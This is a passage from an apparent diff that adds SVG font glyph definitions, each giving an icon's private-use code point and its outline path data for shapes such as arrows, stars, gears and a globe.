+c138.368 -31.6162 226.944 -196.736 173.824 -338.304c-48.6406 -142.72 -224.769 -225.536 -373.888 -166.912c-74.1123 27.5195 -134.784 85.8877 -169.729 157.568c-34.9443 72.1914 -42.2402 158.592 -17.9199 237.695c47.8721 161.664 226.176 269.185 398.848 238.464
+c175.36 -25.5996 313.217 -192.64 317.568 -374.016zM1024 207.488c319.232 0 595.968 184.319 730.112 451.712c37.248 84.7354 58.8799 175.744 58.8799 265.728c0 318.977 -247.04 554.368 -553.216 607.616c154.496 -64 279.296 -200.32 331.52 -362.496
+c70.1445 -203.136 20.8643 -447.872 -133.12 -608.896c-148.224 -162.944 -384.384 -245.633 -608.128 -206.208c-226.048 35.584 -422.912 198.271 -517.504 407.936c-97.792 209.408 -90.3682 468.224 26.8799 674.432c116.736 206.337 329.344 354.433 566.272 395.009
+c11.7754 2.17578 23.6797 3.96777 35.584 5.37598c-420.992 -32.1279 -753.664 -384.641 -753.664 -813.696c0 -450.304 366.208 -816.512 816.384 -816.512z" />
+    <glyph glyph-name="uniF469" unicode="&#xf469;" 
+d="M256 1280h1536v-768h-256v384h-1024v-384h-256v768zM1408 1664v-256h-768v256h768zM1408 640c0 -98.3037 37.5039 -196.48 112.512 -271.488l112.513 -112.512h-768l-112.513 112.512c-75.0078 75.0078 -112.512 173.185 -112.512 271.488v128h768v-128z" />
+    <glyph glyph-name="uniF476" unicode="&#xf476;" 
+d="M384 1248c123.776 0 224 -100.224 224 -224c0 -123.648 -100.224 -224 -224 -224s-224 100.352 -224 224c0 123.776 100.224 224 224 224zM1024 1248c123.648 0 224 -100.224 224 -224c0 -123.648 -100.352 -224 -224 -224c-123.776 0 -224 100.352 -224 224
+c0 123.776 100.224 224 224 224zM1664 1248c123.648 0 224 -100.224 224 -224c0 -123.648 -100.352 -224 -224 -224s-224 100.352 -224 224c0 123.776 100.352 224 224 224z" />
+    <glyph glyph-name="uniF211" unicode="&#xf211;" 
+d="M1472 1440c229.888 0 416 -186.24 416 -416s-186.112 -416 -416 -416s-416 186.24 -416 416s186.112 416 416 416zM576 1440c229.76 0 416 -186.24 416 -416s-186.24 -416 -416 -416s-416 186.24 -416 416s186.24 416 416 416z" />
+    <glyph glyph-name="uniF456" unicode="&#xf456;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768c-424.192 0 -768 343.936 -768 768s343.808 768 768 768zM1024 512c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM1113.22 896
+l51.584 640h-281.6l51.2002 -640h178.815z" />
+    <glyph glyph-name="uniF471" unicode="&#xf471;" 
+d="M512 1664h358.656c163.328 0 281.855 -23.2959 355.712 -69.7598c73.7275 -46.4639 110.592 -120.448 110.592 -221.824c0 -68.8643 -16.1279 -125.312 -48.3838 -169.344c-32.3838 -44.1602 -75.2646 -70.6562 -128.769 -79.6162v-7.93652
+c72.96 -16.2559 125.568 -46.7197 157.952 -91.3916c32.2559 -44.6719 48.5127 -104.063 48.5127 -178.048c0 -105.088 -38.0166 -187.008 -113.921 -245.888c-76.0312 -58.8809 -178.943 -88.1924 -309.248 -88.1924h-431.104v1152zM768 1207.81h130.176
+c66.3047 0 114.176 10.2402 143.872 30.7207c29.5684 20.4795 44.5439 54.3994 44.5439 101.632c0 44.1602 -16.1279 75.7754 -48.5117 94.9756c-32.3838 19.0723 -83.4561 28.7998 -153.344 28.7998h-116.736v-256.128zM768 1013.89v-300.16h147.456
+c67.2002 0 116.864 12.9287 148.864 38.6562c32.1279 25.7285 48.1279 65.1523 48.1279 118.145c0 95.6152 -68.3525 143.487 -204.929 143.487h-139.52v-0.12793z" />
+    <glyph glyph-name="uniF433" unicode="&#xf433;" 
+d="M0 896l896 -896h-896v896z" />
+    <glyph glyph-name="uniF447" unicode="&#xf447;" 
+d="M1408 512c70.7842 0 128 -57.2158 128 -128s-57.2158 -128 -128 -128s-128 57.2158 -128 128s57.2158 128 128 128zM640 512c70.6562 0 128 -57.2158 128 -128s-57.3438 -128 -128 -128s-128 57.2158 -128 128s57.3438 128 128 128zM1536 896h-896v-128h896v-128h-1024
+v1024h-256v128h384v-256h1152z" />
+    <glyph glyph-name="uniF511" unicode="&#xf511;" 
+d="M1024 1510.53l-118.016 -358.528h-371.328l300.288 -209.92l-118.272 -353.28l307.328 218.88l307.584 -219.136l-118.4 353.536l300.288 209.92h-371.456zM1024 1920v0l210.688 -640h685.312l-555.136 -387.968l212.863 -636.032l-553.728 394.496l-553.728 -394.496
+l212.991 636.032l-555.264 387.968h685.312z" />
+    <glyph glyph-name="uniF427" unicode="&#xf427;" 
+d="M1717.72 1436.21c99.7246 -99.7246 99.7246 -261.281 0 -361.006l-232.861 -232.989c-98.5723 -98.5723 -257.44 -99.3398 -357.421 -2.81543l-455.353 -455.354h-288.036v287.908l455.097 454.969l-0.767578 0.768555c-99.5967 99.5957 -99.5967 261.408 0 361.005
+l232.989 232.989c99.5957 99.7246 261.408 99.7246 361.005 0zM1344.04 1104.01l160.02 160.021l-256.031 256.031l-160.021 -160.02z" />
+    <glyph glyph-name="uniF219" unicode="&#xf219;" 
+d="M1438.08 1832.7c0 0 563.456 -229.376 370.176 -838.4c-267.264 -554.496 -784.64 -349.056 -784.64 -349.056v-277.504s-19.7119 -153.344 -202.88 -220.288c-183.296 -66.6885 -351.616 59.5195 -351.616 59.5195v279.809
+c83.584 -85.5039 195.712 -134.272 240.128 -9.98438v945.92h311.68v-537.472s460.416 -138.496 522.368 289.792c9.85645 475.392 -546.944 472.832 -546.944 472.832s-349.184 22.2715 -522.495 -257.536c-131.2 -222.848 37.1191 -423.424 37.1191 -423.424
+l-225.279 -200.448s-339.2 418.433 -7.42383 871.552c430.848 487.681 1159.81 194.688 1159.81 194.688z" />
+    <glyph glyph-name="uniF100" unicode="&#xf100;" 
+d="M512 1408h1024v-128h-1024v128zM1152 1152v-128h-640v128h640zM1280 1024v128h256v-128h-256zM896 768v128h640v-128h-640zM768 896v-128h-256v128h256zM512 512v128h768v-128h-768z" />
+    <glyph glyph-name="uniF400" unicode="&#xf400;" 
+d="M1792 384l-128 -128l-494.848 494.848c-94.8486 -68.9912 -210.816 -110.848 -337.152 -110.848c-318.08 0 -576 257.92 -576 576s257.92 576 576 576s576 -257.92 576 -576c0 -126.336 -41.8564 -242.304 -110.848 -337.152zM384 1216c0 -247.424 200.576 -448 448 -448
+c247.552 0 448 200.576 448 448s-200.448 448 -448 448c-247.424 0 -448 -200.576 -448 -448z" />
+    <glyph glyph-name="uniF439" unicode="&#xf439;" 
+d="M896 1664v-384h-256v384c0 70.7842 57.3438 128 128 128s128 -57.2158 128 -128zM1408 1664v-384h-256v384c0 70.7842 57.2158 128 128 128s128 -57.2158 128 -128zM384 1152h1280c0 -309.632 -219.904 -567.68 -512 -627.072v-268.928h-256v268.928
+c-292.096 59.2646 -512 317.44 -512 627.072z" />
+    <glyph glyph-name="uniF509" unicode="&#xf509;" 
+d="M1534.21 717.824l147.712 -88.5762c-134.4 -223.36 -378.24 -373.248 -657.92 -373.248c-279.552 0 -523.52 149.888 -657.92 373.248l147.712 88.7041c92.1602 -98.1758 226.816 -168.96 382.208 -194.688v500.736h-128v128h128v163.456
+c-76.1602 44.416 -128 126.08 -128 220.544c0 141.312 114.688 256 256 256s256 -114.688 256 -256c0 -94.4639 -51.7119 -176.128 -128 -220.544v-163.456h128v-128h-128v-500.864c155.52 25.7285 289.92 96.3838 382.208 194.688zM1024 1664
+c-70.6562 0 -128 -57.3438 -128 -128s57.3438 -128 128 -128c70.7842 0 128 57.3438 128 128s-57.2158 128 -128 128z" />
+    <glyph glyph-name="uniF510" unicode="&#xf510;" 
+d="M1664 1152v-256h-512v-512h-256v512h-512v256h512v512h256v-512h512z" />
+    <glyph glyph-name="uniF445" unicode="&#xf445;" 
+d="M1888 748.032l-57.5996 -139.648l-305.408 21.8887c-31.3604 -39.9365 -66.9443 -75.6484 -106.88 -107.009l21.7598 -305.536l-139.264 -57.5996l-200.704 231.552c-25.2158 -3.07129 -49.9199 -7.67969 -75.9043 -7.67969c-25.7275 0 -50.1758 4.6084 -75.1357 7.67969
+l-200.96 -231.808l-139.393 57.7275l21.7607 305.408c-39.9365 31.3604 -75.5205 66.9443 -107.009 106.88l-305.536 -21.7598l-57.7275 139.264l231.68 200.832c-3.07129 25.0879 -7.67969 49.792 -7.67969 75.7764c0 25.7275 4.6084 50.1758 7.55176 75.1357
+l-231.552 200.96l57.7275 139.393l305.28 -21.7607c31.4883 39.9365 67.2002 75.7764 107.265 107.265l-21.7607 305.408l139.137 57.5996l200.96 -231.68c24.96 2.94336 49.5352 7.67969 75.3916 7.67969s50.4316 -4.73633 75.3916 -7.67969l200.96 231.68
+l139.265 -57.5996l-21.8887 -305.408c39.9365 -31.3604 75.6484 -67.0723 107.137 -107.008l305.408 21.6318l57.5996 -139.136l-231.552 -200.832c3.07129 -25.0889 7.67969 -49.6641 7.67969 -75.6484c0 -25.7275 -4.6084 -50.3037 -7.67969 -75.2637zM1280 1024
+c0 141.312 -114.688 256 -256 256s-256 -114.688 -256 -256s114.688 -256 256 -256s256 114.688 256 256z" />
+    <glyph glyph-name="uniF516" unicode="&#xf516;" 
+d="M1024 1452.42v-467.328h-155.776v467.328h155.776zM1408 1452.42v-467.328h-155.776v467.328h155.776zM323.2 1920h1596.8v-1090.82l-467.456 -445.184h-350.464l-233.6 -256h-228.48v256h-512v1224.32zM1764.22 907.136v857.088h-1285.5v-1129.73h350.977v-211.328
+l233.472 211.328h428.16z" />
+    <glyph glyph-name="uniF435" unicode="&#xf435;" 
+d="M384 512l640 640l640 -640h-1280zM384 1408h1280v-128h-1280v128z" />
+    <glyph glyph-name="uniF300" unicode="&#xf300;" 
+d="M1536 1536c141.312 0 256 -114.688 256 -256v-384c0 -141.312 -114.688 -256 -256 -256h-448l-448 -448v448h-128c-141.312 0 -256 114.688 -256 256v384c0 141.312 114.688 256 256 256h1024z" />
+    <glyph glyph-name="uniF514" unicode="&#xf514;" 
+d="M1664 768v128l256 -256l-256 -256v128h-256c-282.752 0 -512 229.248 -512 512c0 141.312 -114.688 256 -256 256h-384v256h384c282.752 0 512 -229.248 512 -512c0 -141.312 114.688 -256 256 -256h256zM1408 1280c-61.8242 0 -117.888 -22.9121 -162.176 -59.3916
+c-27.3926 83.9678 -70.7842 160 -128 224.768c82.5596 56.96 182.271 90.624 290.176 90.624h256v128l256 -256l-256 -256v128h-256zM640 768c61.8242 0 117.888 22.9121 162.176 59.3916c27.3926 -83.9678 70.7842 -160 128 -224.768
+c-82.5596 -56.832 -182.271 -90.624 -290.176 -90.624h-384v256h384z" />
+    <glyph glyph-name="uniF102" unicode="&#xf102;" 
+d="M1408 1408l512 -128v-896h-1792v896l512 128l128 256h512zM1024 512.256c247.552 0 448 200.448 448 448c0 247.424 -200.448 448 -448 448c-247.424 0 -448 -200.576 -448 -448c0 -247.552 200.576 -448 448 -448zM512 1600v-96.1279l-256 -64v160.128h256z
+M1024 1280.13c176.768 0 320 -143.231 320 -320c0 -176.768 -143.232 -320 -320 -320s-320 143.232 -320 320c0 176.769 143.232 320 320 320z" />
+    <glyph glyph-name="uniF466" unicode="&#xf466;" 
+d="M640 1344l-320 -320l320 -320v-320l-640 640l640 640v-320zM1408 1280c282.752 0 512 -229.248 512 -512v-299.904l-150.016 149.889c-99.9688 99.9678 -231.04 150.016 -361.984 150.016h-256v-384l-640 640l640 640v-384h256z" />
+    <glyph glyph-name="uniF463" unicode="&#xf463;" 
+d="M1536 1408l-768 -384l-768 384v128h1536v-128zM0 1216l768 -384l256 128v-448h-1024v704zM1920 1152c70.7842 0 128 -57.3438 128 -128v-640c0 -70.7842 -57.2158 -128 -128 -128h-640c-70.7842 0 -128 57.2158 -128 128v640c0 70.6562 57.2158 128 128 128h640z
+M1920 640v128h-256v256h-128v-256h-256v-128h256v-256h128v256h256z" />
+    <glyph glyph-name="uniF422" unicode="&#xf422;" 
+d="M384 1536h1152v-1024h-1152v1024zM1408 640v640h-896v-640h896z" />
+    <glyph glyph-name="uniF201" unicode="&#xf201;" 
+d="M1024 128c128 0 256 32 368 80c-16 144 -64 368 -208 688c-288 -96 -560 -304 -704 -576c144 -128 336 -192 544 -192zM1536 288c208 144 352 384 384 640c-192 32 -368 32 -576 0c16 -32 128 -304 192 -640zM128 1088v-64c0 -224 80 -432 224 -592
+c176 288 496 496 784 592c-16 48 -48 112 -80 176c-368 -112 -592 -144 -928 -112zM1760 1536c-160 -128 -368 -192 -560 -288c48 -64 64 -112 96 -176c208 48 480 32 624 0c-16 176 -64 336 -160 464zM672 1856c-256 -112 -448 -336 -512 -624c288 -32 688 48 832 96
+c-96 192 -192 352 -320 528zM1024 1920c-64 0 -128 -16 -192 -16c128 -208 192 -320 304 -512c128 48 384 128 528 256c-160 160 -384 272 -640 272zM1024 2048c560 0 1024 -464 1024 -1024s-464 -1024 -1024 -1024s-1024 464 -1024 1024s464 1024 1024 1024z" />
+    <glyph glyph-name="uniF426" unicode="&#xf426;" 
+d="M1664 1024c141.312 0 256 -114.688 256 -256s-114.688 -256 -256 -256h-1280c-141.312 0 -256 114.688 -256 256s114.688 256 256 256h6.52832c-4.35254 20.8643 -6.52832 41.9844 -6.52832 64c0 176.768 143.232 320 320 320
+c89.3438 0 169.984 -36.8643 227.968 -95.8721c60.7998 131.84 193.408 223.872 348.032 223.872c211.968 0 384 -171.904 384 -384c0 -45.1836 -9.21582 -87.8076 -23.5518 -128h23.5518z" />
+    <glyph glyph-name="uniF446" unicode="&#xf446;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768s-768 343.936 -768 768s343.936 768 768 768zM1536 1024c0 282.752 -229.248 512 -512 512c-94.8477 0 -182.528 -27.5195 -258.688 -72.4482l698.368 -698.24
+c44.8008 76.1602 72.3203 163.969 72.3203 258.688zM512 1024c0 -282.752 229.248 -512 512 -512c94.7197 0 182.4 27.5195 258.56 72.3203l-698.239 698.239c-44.8008 -76.1592 -72.3203 -163.84 -72.3203 -258.56z" />
+    <glyph glyph-name="uniF504" unicode="&#xf504;" 
+d="M1664 1536c0 -94.4639 -51.7119 -176.128 -128 -220.544v-163.456c0 -282.752 -229.248 -512 -512 -512c-141.312 0 -256 -114.688 -256 -256v-128h-256v1059.46c-76.1602 44.416 -128 126.08 -128 220.544c0 141.312 114.688 256 256 256s256 -114.688 256 -256
+c0 -94.4639 -51.8398 -176.128 -128 -220.544v-490.496c75.5195 44.0322 162.304 71.04 256 71.04c141.312 0 256 114.688 256 256v163.456c-76.2881 44.416 -128 126.08 -128 220.544c0 141.312 114.688 256 256 256s256 -114.688 256 -256zM640 1664
+c-70.6562 0 -128 -57.3438 -128 -128s57.3438 -128 128 -128s128 57.3438 128 128s-57.3438 128 -128 128zM1408 1408c70.7842 0 128 57.3438 128 128s-57.2158 128 -128 128s-128 -57.3438 -128 -128s57.2158 -128 128 -128z" />
+    <glyph glyph-name="uniF465" unicode="&#xf465;" 
+d="M1536 1408l-768 -384l-768 384v128h1536v-128zM0 1216l768 -384l256 128v-448h-1024v704zM1920 1152c70.7842 0 128 -57.3438 128 -128v-640c0 -70.7842 -57.2158 -128 -128 -128h-640c-70.7842 0 -128 57.2158 -128 128v640c0 70.6562 57.2158 128 128 128h640z
+M1531.52 384l452.48 452.48l-90.4961 90.4951l-361.984 -361.983l-180.991 180.992l-90.4961 -90.4961z" />
+    <glyph glyph-name="uniF424" unicode="&#xf424;" 
+d="M1408 1792l384 -384v-768l-384 -384h-768l-384 384v768l384 384h768zM1024 512c70.7842 0 128 57.2158 128 128s-57.2158 128 -128 128c-70.6562 0 -128 -57.2158 -128 -128s57.3438 -128 128 -128zM1113.22 896l51.584 640h-281.6l51.2002 -640h178.815z" />
+    <glyph glyph-name="uniF418" unicode="&#xf418;" 
+d="M1408 1504l128 -96l-512 -768h-128l-288 416l128 128l224 -192z" />
+    <glyph glyph-name="uniF429" unicode="&#xf429;" 
+d="M1024 1453.31l493.312 -493.312l-493.312 -493.312l-86.6562 86.6553l342.656 342.656h-896v128h896l-342.656 342.656z" />
+    <glyph glyph-name="uniF308" unicode="&#xf308;" 
+d="M477.696 568.192l543.104 543.104l90.3682 -90.624l-542.976 -542.976c-100.225 -100.353 -152.32 -115.84 -226.305 -135.809c20.0967 74.1123 35.584 126.08 135.809 226.305zM1189.5 1732.61l180.992 180.991l542.976 -543.104l-180.991 -180.992
+c-50.0488 50.0479 -130.944 50.0479 -180.992 0l-180.992 -180.992c-50.0479 -50.0479 -50.0479 -130.943 0 -180.992l-180.992 -180.991l-543.104 542.976l180.991 180.992c50.0488 -50.0479 131.072 -50.0479 181.12 0l180.992 181.12
+c50.0479 50.0479 50.0479 130.943 0 180.992z" />
+    <glyph glyph-name="uniF226" unicode="&#xf226;" 
+d="M1477.76 1792c120.32 0 152.576 -68.6084 126.464 -195.584l-51.8398 -258.688c-40.96 -206.848 -88.0635 -445.695 -94.0801 -470.144c-11.0078 -44.1602 -27.9033 -119.168 -132.992 -119.168h-250.367c-9.98438 0 -9.98438 0 -20.0967 -10.1123
+c-6.65527 -6.65527 -393.344 -455.424 -393.344 -455.424c-30.208 -34.6875 -80.3838 -28.5439 -98.6875 -21.1201c-18.3047 7.2959 -50.6885 29.6963 -50.6885 89.9844v1301.63s33.2803 138.624 146.304 138.624h819.328zM1394.94 1391.1l34.3037 179.2
+c6.27148 29.6963 -16.3838 52.4805 -40.5762 52.4805h-657.536c-29.8242 0 -49.792 -26.8799 -49.792 -49.792v-1015.68c0 -3.19922 2.43262 -3.83984 4.86426 -1.15137c0 0 242.304 290.815 269.184 324.352c26.8809 33.4082 39.168 38.6562 79.3604 38.6562h221.184
+c30.208 0 47.2324 25.3438 50.3047 40.1924c3.2002 14.8477 28.9277 149.12 34.4316 176.256s-19.3281 54.9121 -44.7998 54.9121h-270.976c-35.9688 0 -61.8242 25.4717 -61.8242 61.3115v39.04c0 35.9678 25.7275 60.416 61.5674 60.416h319.232
+s46.9756 20.4805 51.0723 39.8076z" />
+    <glyph glyph-name="uniF205" unicode="&#xf205;" 
+d="M1024 1920c493.952 0 896 -401.92 896 -896c0 -493.952 -402.048 -896 -896 -896c-494.08 0 -896 402.048 -896 896c0 494.08 401.92 896 896 896zM218.496 1024c0 -318.848 185.216 -594.432 454.016 -724.992l-384.256 1052.93
+c-44.6719 -100.224 -69.7598 -211.071 -69.7598 -327.936zM1024 218.496c93.8242 0 183.808 16.1279 267.648 45.5684c-2.17676 3.45508 -4.09668 7.16797 -5.76074 11.2637l-247.552 678.271l-241.92 -702.336c72.1924 -21.248 148.48 -32.7676 227.584 -32.7676z
+M1134.98 1401.73l291.072 -866.176l80.3838 268.544c34.9443 111.488 61.3125 191.488 61.3125 260.48c0 99.584 -35.8398 168.576 -66.4326 222.08c-40.7031 66.4316 -78.9756 122.624 -78.9756 189.056c0 74.1123 56.1924 142.977 135.168 142.977
+c3.58398 0 7.04004 -0.384766 10.4961 -0.640625c-143.36 131.328 -334.208 211.456 -544 211.456c-281.472 0 -529.024 -144.256 -673.024 -363.008c18.9443 -0.639648 36.7363 -0.896484 51.8408 -0.896484c84.2236 0 214.655 10.2402 214.655 10.2402
+c43.3926 2.56055 48.5127 -61.3115 5.24805 -66.4316c0 0 -43.7754 -5.12012 -92.1602 -7.68066l293.12 -872.575l176.256 528.64l-125.439 343.936c-43.3926 2.56055 -84.4805 7.68066 -84.4805 7.68066c-43.2637 2.55957 -38.2715 68.9922 5.12012 66.4316
+c0 0 132.992 -10.2402 212.225 -10.2402c84.2236 0 214.783 10.2402 214.783 10.2402c43.3926 2.56055 48.5127 -61.3115 5.12012 -66.4316c0 0 -43.6475 -5.12012 -92.2881 -7.68066zM1730.82 1410.56c3.58398 -25.7275 5.50391 -53.248 5.63184 -82.8154
+c0 -81.792 -15.4883 -173.696 -61.3125 -288.512l-246.144 -711.425c239.488 139.521 400.512 399.104 400.512 696.192c0 140.16 -35.8398 271.872 -98.6875 386.56z" />
+    <glyph glyph-name="uniF472" unicode="&#xf472;" 
+d="M1368.06 1408h-128l-240.129 -768h128l-39.9355 -128h-448l39.9355 128h128l240.129 768h-128l39.9355 128h448z" />
+    <glyph glyph-name="uniF216" unicode="&#xf216;" 
+d="M1791.62 1265.92c0.383789 -2.94434 0.639648 -5.75977 0.639648 -8.7041v-466.943c0 -2.94434 -0.255859 -5.76074 -0.511719 -8.96094c-0.12793 -0.767578 -0.383789 -1.79199 -0.511719 -2.81543c-0.384766 -1.79199 -0.640625 -3.58398 -1.15234 -5.50391
+c-0.255859 -1.02441 -0.768555 -2.04785 -1.02441 -3.07227c-0.639648 -1.66406 -1.15137 -3.2002 -1.79199 -4.86426c-0.511719 -1.02344 -1.02344 -2.04785 -1.53613 -3.07129c-0.639648 -1.53613 -1.40723 -2.94434 -2.30371 -4.48047
+c-0.511719 -0.895508 -1.28027 -1.91992 -1.91992 -2.94434c-0.767578 -1.2793 -1.66406 -2.55957 -2.6875 -3.96777c-0.768555 -0.895508 -1.53613 -1.79199 -2.30469 -2.81543c-1.02344 -1.02441 -2.04785 -2.30469 -3.32812 -3.45605
+c-0.767578 -0.896484 -1.66406 -1.79199 -2.6875 -2.68848c-1.02441 -0.895508 -2.30371 -2.04785 -3.71191 -3.07227c-0.768555 -0.767578 -1.79199 -1.53516 -2.81641 -2.30371l-1.15137 -0.767578l-702.208 -467.072
+c-11.1367 -7.42383 -23.8086 -11.0078 -36.6084 -11.0078s-25.4717 3.58398 -36.7363 11.2637l-702.208 467.072c-0.255859 0.255859 -0.639648 0.511719 -1.02344 0.767578l-2.94434 2.30469c-1.28027 0.895508 -2.55957 2.04785 -3.71191 3.07129
+c-0.895508 0.896484 -1.79199 1.79199 -2.6875 2.68848c-1.02441 1.02344 -2.17676 2.30371 -3.2002 3.45605c-0.768555 0.895508 -1.53613 1.79199 -2.30469 2.81543c-0.895508 1.28027 -1.79199 2.56055 -2.6875 3.96875
+c-0.768555 0.895508 -1.4082 1.91992 -1.91992 2.94336c-0.896484 1.53613 -1.66406 2.94434 -2.30371 4.48047c-0.512695 0.895508 -1.02441 1.91992 -1.53613 3.07129c-0.640625 1.66406 -1.15234 3.2002 -1.66406 4.86426
+c-0.383789 0.896484 -0.768555 1.91992 -1.02441 3.07227c-0.511719 1.91992 -0.767578 3.71191 -1.15137 5.50391c-0.128906 1.02441 -0.384766 2.04785 -0.512695 2.94434c-0.383789 2.81543 -0.639648 5.75977 -0.639648 8.57617v466.943
+c0 2.94434 0.255859 5.75977 0.639648 8.7041c0.12793 0.896484 0.383789 1.79199 0.512695 2.81641c0.383789 1.91992 0.639648 3.71191 1.15137 5.50391c0.255859 1.15137 0.640625 2.17578 1.02441 3.2002c0.511719 1.53516 1.02344 3.19922 1.66406 4.86328
+c0.511719 1.02441 1.02344 2.04785 1.53613 3.2002c0.639648 1.53613 1.40723 2.81641 2.30371 4.48047c0.639648 0.895508 1.28027 1.91992 1.91992 2.94336c0.767578 1.28027 1.79199 2.68848 2.6875 3.96875c0.640625 1.02344 1.4082 1.79199 2.30469 2.81543
+c1.02344 1.28027 2.04785 2.43164 3.2002 3.58398c0.895508 0.768555 1.79199 1.66406 2.6875 2.68848c1.15234 1.02344 2.43164 2.04785 3.71191 3.07129l2.94434 2.17676c0.383789 0.255859 0.767578 0.639648 1.15137 0.895508l702.208 466.944
+c22.1445 14.7197 51.0723 14.7197 73.2168 0l702.08 -467.2c0.383789 -0.255859 0.767578 -0.639648 1.15137 -0.896484c0.896484 -0.767578 1.91992 -1.53516 2.81641 -2.30371c1.2793 -0.895508 2.55957 -1.91992 3.71191 -3.07227
+c1.02344 -0.895508 1.91992 -1.79199 2.6875 -2.6875c1.15234 -1.02441 2.17676 -2.17578 3.32812 -3.45605c0.768555 -0.896484 1.53613 -1.79199 2.30469 -2.81641c0.895508 -1.2793 1.79199 -2.55957 2.6875 -3.96777
+c0.639648 -0.895508 1.4082 -1.91992 1.91992 -2.94434c0.896484 -1.53516 1.66406 -2.81543 2.30371 -4.35156c0.512695 -1.02441 1.02441 -2.04785 1.53613 -3.2002c0.640625 -1.66406 1.15234 -3.2002 1.79199 -4.73535
+c0.255859 -1.02441 0.768555 -2.04883 1.02441 -3.2002c0.511719 -1.79199 0.767578 -3.58398 1.15137 -5.50391c0.128906 -0.896484 0.384766 -1.79199 0.512695 -2.81641zM1090.05 1601.28v-307.328l286.208 -190.977l231.168 154.24zM957.952 1601.28l-517.248 -344.064
+l231.04 -154.24l286.208 191.104v307.2zM387.84 1133.95v-220.416l165.12 110.208zM957.952 446.208v307.328l-286.208 190.976l-231.04 -154.111zM1024 867.84l233.472 155.904l-233.472 155.904l-233.472 -155.904zM1090.05 446.208l517.376 344.064l-231.168 154.111
+l-286.208 -190.976v-307.2zM1660.29 913.536v220.416l-165.248 -110.208z" />
+    <glyph glyph-name="uniF475" unicode="&#xf475;" 
+d="M1024 1792c424.064 0 768 -343.936 768 -768s-343.936 -768 -768 -768s-768 343.936 -768 768s343.936 768 768 768zM476.16 1340.54l-2.81641 3.96777c-4.60742 -7.93555 -8.83203 -16.1279 -13.1836 -24.3193l4.47949 1.02344l17.5361 6.27246l30.208 2.6875zM1024 384
+c265.088 0 493.056 162.176 590.208 392.576l-6.52832 10.4961l14.9766 50.8154l-34.6885 25.2158l-25.3438 7.55273l-23.5518 19.8398l-55.8086 -21.1201l-52.7354 -3.07227l-39.9365 29.0566l-39.04 53.5039l-0.767578 32.5117l0.895508 54.2725l5.63184 7.55176
+l4.86426 18.1758l22.7842 35.0723l13.3125 13.0557l18.6875 20.7363l13.0557 25.5996l36.8643 34.9443l37.7598 -0.383789l27.6484 9.59961l66.4316 7.16797l25.9844 -36.8643l24.1924 -10.4961c-8.44824 39.4248 -20.2246 77.6963 -35.585 114.049l-5.50391 5.11914
+l-13.4395 -6.65527l-28.9277 -2.68848l-23.8086 -21.248l-25.9834 -35.0723l-50.6885 -11.6475l-23.5518 9.21582l2.6875 40.5762l13.3125 25.2158l46.4639 -2.6875l8.57617 21.8877l-24.0645 26.624l20.6084 8.32031l40.4482 22.0156l14.4639 11.6484
+c-49.1523 77.6953 -113.664 144.256 -190.721 194.688l-4.35156 -1.79199l20.3516 -17.792l-32.8955 5.24805l-4.6084 -9.34375l21.248 -2.56055l-7.93555 -8.95996l-59.9043 -10.3682l-77.3115 -34.3037l-59.9043 -28.9277l-6.27246 59.6475l16.8965 32.6406
+l-12.416 21.7598l-45.9521 19.4561l-22.1436 17.1523l32.1279 7.67969l69.1201 16.8955l29.8232 1.66406c-64.7676 22.1445 -132.991 36.7363 -205.056 36.7363c-146.56 0 -280.064 -51.4561 -388.096 -134.656l38.2715 1.15234l47.7441 -12.2881l32 -8.19238
+l34.8164 7.80859l47.6152 -6.0166l29.9521 7.2959l5.63184 18.0488l28.1602 -2.94434l11.0078 -22.7842l47.6162 4.35254l-74.752 -24.7041l-36.0957 -20.8643l-55.168 -42.2402l13.6963 -14.9756l38.3994 -18.0479l27.3926 -28.0322l33.6641 34.4316l19.4551 37.8887
+l33.0244 22.6553l33.0244 -16.7676l9.08789 -18.4316l28.9277 10.2393l10.2402 -55.168l20.4795 -20.0957l-74.752 -19.0723l-54.7842 -21.5039l42.752 11.7764l-5.24707 -17.1523l13.5674 -15.3604l11.2646 -7.16797l-45.9521 -18.6875l16.1279 18.8154l-25.9844 -5.63184
+l-31.2314 -14.8477l-14.208 -16.5117l-34.9443 -19.3281l-25.6006 -20.2246l-9.72754 -23.4238l-32.7676 -26.752l-25.8564 -59.3916l-8.06348 -25.7285l-23.6807 47.4883l-46.208 -0.12793l-38.3994 0.255859l-49.2803 -39.6797l-6.52832 -43.5205l29.6963 -32.3838
+l57.2158 30.7197l-14.8477 -43.5195l-40.4482 -26.1123l-39.2959 9.47266l-43.5205 18.1758l-49.9199 79.1035l-22.1436 47.2324l-5.24805 16.2559l7.42383 -66.0479l-0.639648 -17.1523l-8.19238 10.2402l-4.99219 16.6396l-9.9834 12.416l-5.12012 22.9121
+l-0.255859 35.9678l-26.752 46.3359c-17.4082 -58.1113 -29.5684 -118.399 -29.5684 -182.144c0 -295.936 202.88 -543.232 476.16 -616.192l-4.0957 12.6729l-9.60059 137.6l-11.1357 62.8477l-67.3281 65.792l-31.7441 56.3203l-10.624 27.9043l7.67969 16.5117
+l14.0801 52.9922l7.55273 61.6953l-8.32031 4.73633l-14.9756 -10.8799l-19.9688 9.34375l13.4404 6.27246l59.9043 13.8242l39.4238 17.6631l-2.43262 -26.752l14.5928 24.1924l19.7119 -6.91211l67.7119 -21.6318l48.5117 -33.6641l34.9443 -19.3281l8.31934 -5.50391
+l-8.19141 -48.7676l33.4082 9.47168l-8.32031 -16.6396l47.3604 -10.1123l48 -3.96777l31.3594 -19.7119l1.28027 -57.3447l-22.7842 -65.4072l-27.6475 -68.0967l-50.1768 -30.8477l-39.9355 -90.8799l-36.0957 5.12012l17.1514 -23.4238l-1.91992 -16.5127
+l-33.2803 -26.4961c19.4561 -1.79199 38.1445 -5.8877 57.9844 -5.8877z" />
+    <glyph glyph-name="uniF432" unicode="&#xf432;" 
+d="M1408 640l-448 448l-448 -448l-128 128l576 576l576 -576z" />
+    <glyph glyph-name="uniF210" unicode="&#xf210;" 
+d="M1024 2048c565.632 0 1024 -458.496 1024 -1024c0 -565.632 -458.368 -1024 -1024 -1024c-100.864 0 -198.016 14.7197 -290.176 42.1123c38.7842 61.4395 81.2793 140.288 103.04 219.264c12.6719 45.5684 72.0635 281.6 72.0635 281.6
